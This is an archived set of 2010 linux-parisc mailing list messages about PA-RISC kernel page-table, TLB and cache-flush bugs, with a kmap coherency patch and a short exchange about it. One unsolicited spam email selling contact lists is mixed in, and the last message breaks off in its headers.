X-Trace: dough.gmane.org 1272124117 4936 80.91.229.12 (24 Apr 2010 15:48:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 15:48:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, grundler@parisc-linux.org
To: T-Bone@parisc-linux.org (=?ISO-8859-1?Q?Thibaut_VAR=C8NE?=)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 17:48:36 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5haq-0001NT-EW
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 17:48:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753569Ab0DXPs0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 11:48:26 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4046 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753562Ab0DXPs0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 11:48:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C924E5160; Sat, 24 Apr 2010 11:48:24 -0400 (EDT)
In-Reply-To: <3E26349A-5670-4643-926D-24C04E75084C@parisc-linux.org> from "=?ISO-8859-1?Q?Thibaut_VAR=C8NE?=" at Apr 24, 2010 04:44:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2814>

> > Sounds like it. Though the HPMCs are clearly different than the PTE  
> > issues
> > that jda/carlos are seeing.
> 
> True, but I remember Debian staff complaining about random unexplained  
> hangs, I wouldn't be too surprised if this came into play...

I have been looking at the PTE/TLB code for the last couple of weeks.
I now believe that the majority of the random hangs, segvs at program
startup are related to problems with the PTE/TLB code.

1) minifail bug

As previously identified, there is a cache flush problem in ptep_set_wrprotect.
I did a kernel build with a "WARN_ON(pte_present(old_pte) && pte_dirty(old_pte)"in ptep_set_wrprotect an it triggered immediately.  So, we have to deal with
a dirty cache in ptep_set_wrprotect.  As far as I can tell, this problem
is fixed by putting the flush inside preempt_disable()/preempt_enable().

Helge is triggering other PTE issues when he runs multiple copies of
minifail.  The minifail program fails on a UP system.  With the above fix,
it doesn't fail.

2) SMP page table entry corruption

The needs to be a lock around pte updates to ensure that pte modifications
are consistent on SMP machines.  I have done this and it helps stability
on rp3440.

3) SMP PTE/TLB consistency

We are not purging existing translations when an update to a PTE value
is done such as in ptep_set_wrprotect.  As a result, the parent of a fork
doesn't immediately trigger a COW break on a page when a write occurs
if there is an existing translation.

Adding a TLB purge helps, but even this may be lost.  For example,

page fault (cpu1)
  -> load old pte (cpu1)
    -> store new pte (cpu2)
      -> global tlb purge (cpu2)
        -> insert old pte into tlb (cpu1)

It may be possible to use locking to ensure that purges aren't lost.  However,
this is a bit tricky...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: PTE/TLB issues (was Re: Longstanding bug in our IRQ code (irqbalance HPMCs parisc SMP machines))
Date: Sat, 24 Apr 2010 18:44:08 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <B43928AA-D2D6-4E1E-91A8-34BAF099F1C8@parisc-linux.org>
References: <20100424154824.C924E5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272127458 15427 80.91.229.12 (24 Apr 2010 16:44:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 16:44:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 18:44:17 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5iSm-0003jE-98
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 18:44:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752768Ab0DXQoP convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 12:44:15 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:40525 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752709Ab0DXQoO convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 12:44:14 -0400
Original-Received: by wwg30 with SMTP id 30so547612wwg.19
        for <linux-parisc@vger.kernel.org>; Sat, 24 Apr 2010 09:44:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=Vq92dQdE7rybYDyJOqhVDAxE0eWNX3PuKeagTP15+JQ=;
        b=WVxYKwkSQKLLUqWnD6D9UBfD1AKR+8TPyh8T0k4Sntt61WL4so35yWZ3JqoxuXCZ62
         bmtmRc+Bkr2bWmZhL+DguLVKIrtM33bThP7T8fD+IeGQaWWCu3rIU1tKQkBXXuIMztSu
         v+Npy+j62x9xFXNSMkupD+70OCDlv7eHiCaRA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=tZUmHroGgcB46DWL/6jtyQgC1sJ44/I35RMmeugvbmUE3Q4Nu6u/PMDBSSeyq2zZ5o
         MLxE0W5lpQhJ5zYRzV5sHY6sCirbfvsG+1aIwzMVpgHNRJljINW8SBOlp+2wLeaBhWdz
         2bfu+7+z+5a6oZ/hPPTDW0Mk++92zYW6Hbu/o=
Original-Received: by 10.216.178.136 with SMTP id f8mr2259275wem.69.1272127451287;
        Sat, 24 Apr 2010 09:44:11 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id x14sm5309032wbs.6.2010.04.24.09.44.09
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 24 Apr 2010 09:44:10 -0700 (PDT)
In-Reply-To: <20100424154824.C924E5160@hiauly1.hia.nrc.ca>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2815>

Le 24 avr. 10 =E0 17:48, John David Anglin a =E9crit :

>>> Sounds like it. Though the HPMCs are clearly different than the PTE
>>> issues
>>> that jda/carlos are seeing.
>>
>> True, but I remember Debian staff complaining about random =20
>> unexplained
>> hangs, I wouldn't be too surprised if this came into play...
>
> I have been looking at the PTE/TLB code for the last couple of weeks.
> I now believe that the majority of the random hangs, segvs at program
> startup are related to problems with the PTE/TLB code.


[snip]

Thanks for this detailed explanation. I've quoted your remarks to this =
=20
wiki page (as a reference point):
http://wiki.parisc-linux.org/KnownIssues#head-fc724f5d1b9a93f4b531a05fc=
1aab3314dde8c87

People, feel free to make sure everything there is as accurate as it =20
can be, btw... Also taking the opportunity to point at the "SMP perf / =
=20
cache issue" paragraph there... Might be related.

I've also added a link to the irqbalance bug on that same page.

=46WIW, the hangs I was referring to are those that kill the machine =20
without any output. Hopefully PTE/TLB issues are a bit more verbose? ;-=
)

HTH

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [patch 10/14] parisc: invoke oom-killer from page fault
Date: Mon, 26 Apr 2010 11:00:43 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20100426150042.GR12768@bombadil.infradead.org>
References: <20100422160613.723698029@suse.de> <20100422161224.322033236@suse.de> <alpine.DEB.2.00.1004221356150.25350@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1272294144 14637 80.91.229.12 (26 Apr 2010 15:02:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Apr 2010 15:02:24 +0000 (UTC)
Cc: npiggin@suse.de, linux-arch@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 26 17:02:22 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O6PpF-0000sI-5y
	for glpp-linux-parisc@lo.gmane.org; Mon, 26 Apr 2010 17:02:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753720Ab0DZPAt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Apr 2010 11:00:49 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52468 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753894Ab0DZPAt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Apr 2010 11:00:49 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1O6Pnf-0000p5-6b; Mon, 26 Apr 2010 15:00:43 +0000
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.00.1004221356150.25350@chino.kir.corp.google.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2816 gmane.linux.kernel.cross-arch:6120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2816>

On Thu, Apr 22, 2010 at 01:56:26PM -0700, David Rientjes wrote:
> On Fri, 23 Apr 2010, npiggin@suse.de wrote:
> 
> > As explained in commit 1c0fe6e3bd, we want to call the architecture independent
> > oom killer when getting an unexplained OOM from handle_mm_fault, rather than
> > simply killing current.
> > 
> > Cc: linux-parisc@vger.kernel.org
> > Cc: Kyle McMartin <kyle@mcmartin.ca>
> > Cc: linux-arch@vger.kernel.org
> > Signed-off-by: Nick Piggin <npiggin@suse.de>
> 
> Acked-by: David Rientjes <rientjes@google.com>

Thanks, applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alyssa balled" <jenifferknowles@email.tlcevision.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: mass mailing lists
Date: Mon, 26 Apr 2010 22:35:45 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <201004262235796.SM04224@endothermic>
Reply-To: jenifferknowles@email.tlcevision.com
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1272335740 28840 80.91.229.12 (27 Apr 2010 02:35:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 27 Apr 2010 02:35:40 +0000 (UTC)
To: counsellingtraining@tccr.org.uk, rawrrimmaduck@gmail.com,
	wsmjdnov@afkintto.com, -uk-request@freelists.org,
	ykxwpq@hotmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 27 04:35:40 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O6ae9-0002wD-TP
	for glpp-linux-parisc@lo.gmane.org; Tue, 27 Apr 2010 04:35:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753540Ab0D0Cfh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Apr 2010 22:35:37 -0400
Original-Received: from email.tlcevision.com ([12.170.131.77]:4090 "EHLO
	email.tlcevision.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753417Ab0D0Cff (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Apr 2010 22:35:35 -0400
Original-Received: from endothermic [117.41.228.209] by email.tlcevision.com
  (SMTPD-9.20) id AD6F0260; Mon, 26 Apr 2010 22:35:27 -0400
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 7.1 points;
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?117.41.228.209>]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [117.41.228.209 listed in zen.spamhaus.org]
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  2.7 RCVD_IN_NJABL_RELAY RBL: NJABL: sender is confirmed open relay
 *      [12.170.131.77 listed in combined.njabl.org]
Xref: news.gmane.org gmane.linux.ports.parisc:2817 gmane.spam.detected:4618236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2817>

To get additional details, samples and counts for our USA contact data please
email me at this address successtools@gmx.com

we have lots of different lists in many fields and this week is the time to buy with lowered list prices.
  




to adjust your subscription status email to 

normal time.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Patch for segfaults in minifail tests
Date: Fri, 30 Apr 2010 13:21:37 -0500
Lines: 149
Approved: news@gmane.org
Message-ID: <1272651697.2844.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272651843 4982 80.91.229.12 (30 Apr 2010 18:24:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 30 Apr 2010 18:24:03 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 30 20:24:01 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O7usb-0003eT-7R
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Apr 2010 20:24:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759302Ab0D3SVq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Apr 2010 14:21:46 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43154 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933292Ab0D3SVl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Apr 2010 14:21:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B35C78EE0E8;
	Fri, 30 Apr 2010 11:21:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YWeyHJiGG13M; Fri, 30 Apr 2010 11:21:39 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2ADC38EE0E0;
	Fri, 30 Apr 2010 11:21:39 -0700 (PDT)
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2818
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2818>

T-bone is keeping a web page with all the failing tests on now:

http://wiki.parisc-linux.org/TestCases

The patch below is what I've found fixes the minifail6 case, but it
doesn't seem to fully fix the minifail one (although the frequency goes
down).

It's the essential patch we need to fix up our kmapping.  Right at the
moment kmap of a page with a dirty cache line in userspace sees stale
data and kunmap of a page the kernel has modified will see likewise.

James

---

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 4772777..d717e75 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -116,21 +116,22 @@ void mark_rodata_ro(void);
 #define ARCH_HAS_KMAP
 
 void kunmap_parisc(void *addr);
+void *kmap_parisc(struct page *page);
 
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
-	return page_address(page);
+	return kmap_parisc(page);
 }
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+#define kmap_atomic(page, idx)		kmap_parisc(page)
 
 #define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
-#define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
+#define kmap_atomic_pfn(pfn, idx)	kmap_parisc(pfn_to_page(pfn))
+#define kmap_atomic_to_page(ptr)	virt_to_page(kmap_parisc(virt_to_page(ptr)))
 #endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index d054f3d..b971ed3 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -336,9 +336,9 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 	}
 }
 
-void flush_dcache_page(struct page *page)
+static void flush_user_dcache_page_internal(struct address_space *mapping,
+					    struct page *page)
 {
-	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
@@ -346,14 +346,6 @@ void flush_dcache_page(struct page *page)
 	pgoff_t pgoff;
 	unsigned long pfn = page_to_pfn(page);
 
-
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-		return;
-	}
-
-	flush_kernel_dcache_page(page);
-
 	if (!mapping)
 		return;
 
@@ -387,6 +379,19 @@ void flush_dcache_page(struct page *page)
 	}
 	flush_dcache_mmap_unlock(mapping);
 }
+
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (mapping && !mapping_mapped(mapping)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+		return;
+	}
+
+	flush_kernel_dcache_page(page);
+	flush_user_dcache_page_internal(mapping, page);
+}
 EXPORT_SYMBOL(flush_dcache_page);
 
 /* Defined in arch/parisc/kernel/pacache.S */
@@ -475,16 +480,6 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif
-
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -577,3 +572,25 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void *kmap_parisc(struct page *page)
+{
+	/* this is a killer.  There's no easy way to test quickly if
+	 * this page is dirty in any userspace.  Additionally, for
+	 * kernel alterations of the page, we'd need it invalidated
+	 * here anyway, so currently flush (and invalidate)
+	 * universally */
+	flush_user_dcache_page_internal(page_mapping(page), page);
+	return page_address(page);
+}
+EXPORT_SYMBOL(kmap_parisc);
+
+void kunmap_parisc(void *addr)
+{
+	/* flush and invalidate the kernel mapping.  We need the
+	 * invalidate so we don't have stale data at this cache
+	 * location the next time the page is mapped */
+	flush_kernel_dcache_page_addr(addr);
+}
+EXPORT_SYMBOL(kunmap_parisc);
+



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Fri, 30 Apr 2010 17:11:36 -0400
Organization: nrc.ca
Lines: 19
Approved: news@gmane.org
Message-ID: <20100430211136.GA11644@hiauly1.hia.nrc.ca>
References: <1272651697.2844.39.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1272661905 10271 80.91.229.12 (30 Apr 2010 21:11:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 30 Apr 2010 21:11:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 30 23:11:44 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O7xUr-0003IU-DA
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Apr 2010 23:11:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757472Ab0D3VLk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Apr 2010 17:11:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4601 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754302Ab0D3VLk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Apr 2010 17:11:40 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 95C6F5057; Fri, 30 Apr 2010 17:11:37 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1272651697.2844.39.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2819
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2819>

On Fri, 30 Apr 2010, James Bottomley wrote:

> It's the essential patch we need to fix up our kmapping.  Right at the
> moment kmap of a page with a dirty cache line in userspace sees stale
> data and kunmap of a page the kernel has modified will see likewise.

Did you try using the version of copy_user_page_asm that uses
equivalent aliasing?   There is an issue with needing cache flushing
noted in pgtable.h, but if this works it may be less of a hammer.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Fri, 30 Apr 2010 16:13:44 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1272662024.2844.44.camel@mulgrave.site>
References: <1272651697.2844.39.camel@mulgrave.site>
	 <20100430211136.GA11644@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272662031 10633 80.91.229.12 (30 Apr 2010 21:13:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 30 Apr 2010 21:13:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 30 23:13:49 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O7xWv-0005nT-9r
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Apr 2010 23:13:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756216Ab0D3VNs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Apr 2010 17:13:48 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40214 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754679Ab0D3VNr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Apr 2010 17:13:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 57FFF8EE0E8;
	Fri, 30 Apr 2010 14:13:47 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DGkDZ6qD24m4; Fri, 30 Apr 2010 14:13:47 -0700 (PDT)
